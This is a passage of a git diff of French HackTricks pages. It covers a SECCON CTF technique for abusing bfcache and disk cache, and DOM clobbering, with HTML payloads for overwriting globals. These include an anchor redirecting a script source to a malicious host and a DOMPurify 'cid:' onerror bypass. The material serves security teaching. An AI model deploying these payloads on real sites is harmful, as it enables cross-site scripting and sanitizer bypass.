* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PRs au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,68 +4,47 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
Technique tirée [**de ce writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)**.**
|
Plus de détails [**dans cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||||
|
|
||||||
Il existe deux types de cache importants :
|
La technique discutée ici implique de comprendre le comportement et l'interaction de deux types de cache principaux : le **cache avant/arrière (bfcache)** et le **cache disque**. Le bfcache, qui stocke un instantané complet d'une page incluant le tas JavaScript, est priorisé par rapport au cache disque pour les navigations avant/arrière en raison de sa capacité à stocker un instantané plus complet. Le cache disque, en revanche, stocke les ressources récupérées du web sans inclure le tas JavaScript, et est utilisé pour les navigations avant/arrière afin de réduire les coûts de communication. Un aspect intéressant du cache disque est son inclusion des ressources récupérées à l'aide de `fetch`, ce qui signifie que les ressources d'URL consultées seront rendues par le navigateur à partir du cache.
|
||||||
|
|
||||||
* **cache avant/arrière (bfcache)**
|
### Points clés :
|
||||||
* ref. [https://web.dev/i18n/en/bfcache/](https://web.dev/i18n/en/bfcache/)
|
|
||||||
* Il stocke un instantané complet d'une page, **y compris le tas JavaScript**.
|
|
||||||
* Le cache est utilisé pour les navigations avant/arrière.
|
|
||||||
* il a la préférence sur le cache disque
|
|
||||||
* **cache disque**
|
|
||||||
* ref. [https://www.chromium.org/developers/design-documents/network-stack/disk-cache/](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)
|
|
||||||
* Il stocke une ressource récupérée sur le web. Le cache **n'inclut pas le tas JavaScript**.
|
|
||||||
* Le cache est également utilisé pour les navigations avant/arrière pour éviter les coûts de communication.
|
|
||||||
|
|
||||||
Un point intéressant du cache disque est que le **cache inclut** non seulement la réponse HTTP rendue sur une page web, mais aussi **celles récupérées avec `fetch`**. En d'autres termes, si vous accédez à l'URL d'une ressource récupérée, le **navigateur rendra la ressource** sur la page.
|
- Le **bfcache** a la priorité sur le cache disque dans les navigations avant/arrière.
|
||||||
|
- Pour utiliser une page stockée dans le cache disque au lieu du bfcache, ce dernier doit être désactivé.
|
||||||
|
|
||||||
Il y a un autre point important. Si à la fois le cache disque et le bfcache sont valides pour une page consultée lors de navigations avant/arrière, le **bfcache a la priorité sur le cache disque**. Ainsi, si vous devez accéder à une page stockée dans les deux caches mais que vous voulez utiliser celui du disque, vous devez d'une manière ou d'une autre **désactiver le bfcache.**
|
### Désactiver le bfcache :
|
||||||
|
|
||||||
### Désactiver le bfcache
|
Par défaut, Puppeteer désactive le bfcache, en accord avec les conditions énumérées dans la documentation de Chromium. Une méthode efficace pour désactiver le bfcache est d'utiliser `RelatedActiveContentsExist`, réalisé en ouvrant une page avec `window.open()` qui conserve une référence à `window.opener`.
|
||||||
|
|
||||||
Le bfcache est désactivé par les [options par défaut](https://github.com/puppeteer/puppeteer/blob/v19.2.0/packages/puppeteer-core/src/node/ChromeLauncher.ts#L175) de puppeteer.
|
### Reproduction du comportement :
|
||||||
|
|
||||||
Essayons le comportement intéressant dans ce défi.
|
1. Visitez une page web, par exemple `https://example.com`.
|
||||||
|
2. Exécutez `open("http://spanote.seccon.games:3000/api/token")`, ce qui entraîne une réponse du serveur avec un code d'état 500.
|
||||||
|
3. Dans l'onglet nouvellement ouvert, accédez à `http://spanote.seccon.games:3000/`. Cette action met en cache la réponse de `http://spanote.seccon.games:3000/api/token` en tant que cache disque.
|
||||||
|
4. Utilisez `history.back()` pour naviguer en arrière. L'action entraîne le rendu de la réponse JSON mise en cache sur la page.
|
||||||
|
|
||||||
Tout d'abord, vous devez désactiver le bfcache[\[2\]](https://blog.arkark.dev/2022/11/18/seccon-en/#fn2). Il existe de nombreuses conditions où le bfcache est désactivé, la liste est la suivante :
|
La confirmation que le cache disque a été utilisé peut être vérifiée en utilisant DevTools dans Google Chrome.
|
||||||
|
|
||||||
* [https://source.chromium.org/chromium/chromium/src/+/main:out/mac-Debug/gen/third\_party/blink/renderer/core/inspector/protocol/page.cc?q=BackForwardCacheNotRestoredReasonEnum \&ss=chromium](https://source.chromium.org/chromium/chromium/src/+/main:out/mac-Debug/gen/third\_party/blink/renderer/core/inspector/protocol/page.cc?q=BackForwardCacheNotRestoredReasonEnum%20\&ss=chromium)
|
Pour plus de détails sur le bfcache et le cache disque, des références peuvent être trouvées sur [web.dev sur le bfcache](https://web.dev/i18n/en/bfcache/) et [les documents de conception de Chromium sur le cache disque](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectivement.
|
||||||
|
|
||||||
La manière la plus simple est d'utiliser `RelatedActiveContentsExist`.
|
|
||||||
|
|
||||||
* `RelatedActiveContentsExist` : La page ouverte avec `window.open()` et qui a une référence de `window.opener`.
|
|
||||||
* ref. [https://web.dev/i18n/en/bfcache/#avoid-windowopener-references](https://web.dev/i18n/en/bfcache/#avoid-windowopener-references)
|
|
||||||
|
|
||||||
Par conséquent, la procédure suivante reproduit le comportement :
|
|
||||||
|
|
||||||
1. Accédez à une page web (par exemple `https://example.com`)
|
|
||||||
2. Exécutez `open("http://spanote.seccon.games:3000/api/token")`
|
|
||||||
* ![](https://blog.arkark.dev/images/2022/20221118-seccon-spanote-04.png)
|
|
||||||
* Le serveur renvoie une réponse avec un code d'état 500.
|
|
||||||
3. Dans l'onglet ouvert, accédez à `http://spanote.seccon.games:3000/`
|
|
||||||
* ![](https://blog.arkark.dev/images/2022/20221118-seccon-spanote-05.png)
|
|
||||||
* Ensuite, la réponse de `http://spanote.seccon.games:3000/api/token` est mise en cache en tant que cache disque.
|
|
||||||
4. Exécutez `history.back()`
|
|
||||||
* ![](https://blog.arkark.dev/images/2022/20221118-seccon-spanote-06.png)
|
|
||||||
* La réponse JSON mise en cache est rendue sur la page !
|
|
||||||
|
|
||||||
Vous pouvez confirmer que le cache disque est utilisé en utilisant DevTools dans Google Chrome :\
|
|
||||||
![](https://blog.arkark.dev/images/2022/20221118-seccon-spanote-07.png)
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e
|
* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -4,33 +4,33 @@
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## **Fondamentaux**
|
## **Basics**
|
||||||
|
|
||||||
Il est possible de générer des **variables globales à l'intérieur du contexte JS** avec les attributs **`id`** et **`name`** dans les balises HTML.
|
Il est possible de générer des **variables globales à l'intérieur du contexte JS** avec les attributs **`id`** et **`name`** dans les balises HTML.
|
||||||
```html
|
```html
|
||||||
<form id=x></form>
|
<form id=x></form>
|
||||||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||||||
```
|
```
|
||||||
Seuls certains éléments peuvent utiliser l'attribut **name** pour écraser les variables globales, il s'agit de: `embed`, `form`, `iframe`, `image`, `img` et `object`.
|
**Seuls** certains éléments peuvent utiliser l'attribut **name** pour écraser les globaux, ce sont : `embed`, `form`, `iframe`, `image`, `img` et `object`.
|
||||||
|
|
||||||
Curieusement, lorsque vous utilisez un **élément de formulaire** pour **écraser** une variable, vous obtenez la valeur **`toString`** de l'élément lui-même: `[object HTMLFormElement]`, mais avec **anchor** le **`toString`** sera le **`href`** de l'ancre. Par conséquent, si vous écrasez en utilisant la balise **`a`**, vous pouvez **contrôler** la **valeur** lorsqu'elle est **traitée comme une chaîne de caractères**:
|
De manière intéressante, lorsque vous utilisez un **élément de formulaire** pour **écraser** une variable, vous obtiendrez la valeur **`toString`** de l'élément lui-même : `[object HTMLFormElement]` mais avec l'**ancre**, le **`toString`** sera le **`href`** de l'ancre. Par conséquent, si vous écrasez en utilisant la balise **`a`**, vous pouvez **contrôler** la **valeur** lorsqu'elle est **traitée comme une chaîne** :
|
||||||
```html
|
```html
|
||||||
<a href="controlled string" id=x></a>
|
<a href="controlled string" id=x></a>
|
||||||
<script>
|
<script>
|
||||||
console.log(x);//controlled string
|
console.log(x);//controlled string
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### Tableaux et Attributs
|
### Tableaux & Attributs
|
||||||
|
|
||||||
Il est également possible de **clobber un tableau** et les **attributs d'un objet** :
|
Il est également possible de **surcharger un tableau** et les **attributs d'un objet** :
|
||||||
```html
|
```html
|
||||||
<a id=x>
|
<a id=x>
|
||||||
<a id=x name=y href=controlled>
|
<a id=x name=y href=controlled>
|
||||||
|
@ -47,17 +47,17 @@ Pour écraser **un 3ème attribut** (par exemple x.y.z), vous devez utiliser un
|
||||||
alert(x.y.z.value)//controlled
|
alert(x.y.z.value)//controlled
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Écraser plus d'attributs est **plus compliqué mais toujours possible**, en utilisant des iframes:
|
Cibler plus d'attributs est **plus compliqué mais toujours possible**, en utilisant des iframes :
|
||||||
```html
|
```html
|
||||||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||||||
<style>@import 'https://google.com';</style>
|
<style>@import 'https://google.com';</style>
|
||||||
<script>alert(x.y)//controlled</script>
|
<script>alert(x.y)//controlled</script>
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous obtiendrez une alerte d'**indéfini**.
|
La balise style est utilisée pour **donner suffisamment de temps à l'iframe pour se rendre**. Sans cela, vous obtiendrez une alerte **indéfinie**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Pour écraser des attributs plus profonds, vous pouvez utiliser des **iframes avec encodage HTML** de cette manière :
|
Pour écraser des attributs plus profonds, vous pouvez utiliser **des iframes avec un encodage html** de cette manière :
|
||||||
```html
|
```html
|
||||||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||||||
<style>@import 'https://google.com';</style>
|
<style>@import 'https://google.com';</style>
|
||||||
|
@ -65,9 +65,9 @@ Pour écraser des attributs plus profonds, vous pouvez utiliser des **iframes av
|
||||||
alert(a.b.c.d.e)//controlled
|
alert(a.b.c.d.e)//controlled
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### **Contournement de filtres**
|
### **Contournement de filtre**
|
||||||
|
|
||||||
Si un filtre **boucle** à travers les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pouvez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et plus encore sont également **écrasables**.
|
Si un filtre **parcourt en boucle** les **propriétés** d'un nœud en utilisant quelque chose comme `document.getElementByID('x').attributes`, vous pourriez **écraser** l'attribut **`.attributes`** et **casser le filtre**. D'autres propriétés DOM comme **`tagName`**, **`nodeName`** ou **`parentNode`** et d'autres encore sont également **écrasables**.
|
||||||
```html
|
```html
|
||||||
<form id=x></form>
|
<form id=x></form>
|
||||||
<form id=y>
|
<form id=y>
|
||||||
|
@ -78,52 +78,48 @@ console.log(document.getElementById('x').nodeName)//FORM
|
||||||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
## **Écrasement de `window.someObject`**
|
## **Écraser `window.someObject`**
|
||||||
|
|
||||||
Un modèle couramment utilisé par les développeurs JavaScript est :
|
En JavaScript, il est courant de trouver :
|
||||||
```javascript
|
```javascript
|
||||||
var someObject = window.someObject || {};
|
var someObject = window.someObject || {};
|
||||||
```
|
```
|
||||||
Si vous pouvez contrôler une partie du HTML sur la page, vous pouvez écraser la référence `someObject` avec un nœud DOM, tel qu'une ancre. Considérez le code suivant:
|
Manipuler le HTML sur la page permet de remplacer `someObject` par un nœud DOM, introduisant potentiellement des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer `someObject` par un élément d'ancre pointant vers un script malveillant:
|
||||||
|
```html
|
||||||
|
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||||||
|
```
|
||||||
|
Dans un code vulnérable tel que :
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
window.onload = function(){
|
window.onload = function(){
|
||||||
let someObject = window.someObject || {};
|
let someObject = window.someObject || {};
|
||||||
let script = document.createElement('script');
|
let script = document.createElement('script');
|
||||||
script.src = someObject.url;
|
script.src = someObject.url;
|
||||||
document.body.appendChild(script);
|
document.body.appendChild(script);
|
||||||
};
|
};
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
Pour exploiter ce code vulnérable, vous pouvez injecter le HTML suivant pour écraser la référence `someObject` avec un élément d'ancre :
|
Ce méthode exploite la source du script pour exécuter du code non désiré.
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas en URL les guillemets doubles**. Cela signifie que vous pouvez **injecter un guillemet double encodé qui sera décodé à l'exécution**. Par conséquent, injecter quelque chose comme **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** fera que l'encodage HTML `"` soit **décodé à l'exécution** et **s'échappe** de la valeur de l'attribut pour **créer** l'événement **`onerror`**.
|
||||||
```html
|
|
||||||
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
|
|
||||||
```
|
|
||||||
{% endcode %}
|
|
||||||
|
|
||||||
Injecter ces données **`window.someObject.url`** va donner `href=//malicious-website.com/malicious.js`
|
Une autre technique utilise un élément **`form`**. Certaines bibliothèques côté client inspectent les attributs d'un élément de formulaire nouvellement créé pour les nettoyer. Cependant, en ajoutant un `input` avec `id=attributes` à l'intérieur du formulaire, vous écrasez efficacement la propriété des attributs, empêchant le désinfectant d'accéder aux attributs réels.
|
||||||
|
|
||||||
**Astuce**: **`DOMPurify`** vous permet d'utiliser le protocole **`cid:`**, qui **n'encode pas les guillemets doubles**. Cela signifie que vous pouvez **injecter une guillemet double encodée qui sera décodée à l'exécution**. Par conséquent, l'injection de quelque chose comme **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** fera que l'encodage HTML `"` sera **décodé à l'exécution** et **s'échappera** de la valeur de l'attribut pour **créer** l'événement **`onerror`**.
|
Vous pouvez [**trouver un exemple de ce type de clobbering dans ce compte rendu de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||||
|
|
||||||
Une autre technique courante consiste à utiliser l'élément **`form`**. Certaines bibliothèques côté client parcourront les attributs de l'élément de formulaire créé pour le nettoyer. Mais, si vous créez un `input` à l'intérieur du formulaire avec `id=attributes`, vous allez **écraser la propriété d'attributs** et le nettoyeur **ne pourra pas** parcourir les **vrais attributs**.
|
|
||||||
|
|
||||||
Vous pouvez [**trouver un exemple de ce type d'écrasement dans ce writeup CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
|
||||||
|
|
||||||
## Écrasement de l'objet document
|
## Écrasement de l'objet document
|
||||||
|
|
||||||
Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant DOM Clobbering:
|
Selon la documentation, il est possible de remplacer les attributs de l'objet document en utilisant le DOM Clobbering:
|
||||||
|
|
||||||
> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arbre selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec des valeurs provenant des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :
|
> L'interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [prend en charge les propriétés nommées](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Les [noms de propriétés pris en charge](https://webidl.spec.whatwg.org/#dfn-supported-property-names) d'un objet [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document à tout moment se composent des éléments suivants, dans l'ordre de l'arborescence selon l'élément qui les a contribués, en ignorant les doublons ultérieurs, et avec les valeurs des attributs [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :
|
||||||
>
|
>
|
||||||
> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
|
> \- La valeur de l'attribut de contenu name pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), et [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu name non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||||
> \
|
> \
|
||||||
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec le document comme [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
|
> \- La valeur de l'attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) pour tous les éléments [exposés](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) qui ont un attribut de contenu [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) non vide et sont [dans un arbre de document](https://dom.spec.whatwg.org/#in-a-document-tree) avec document comme leur [racine](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||||
> \
|
> \
|
||||||
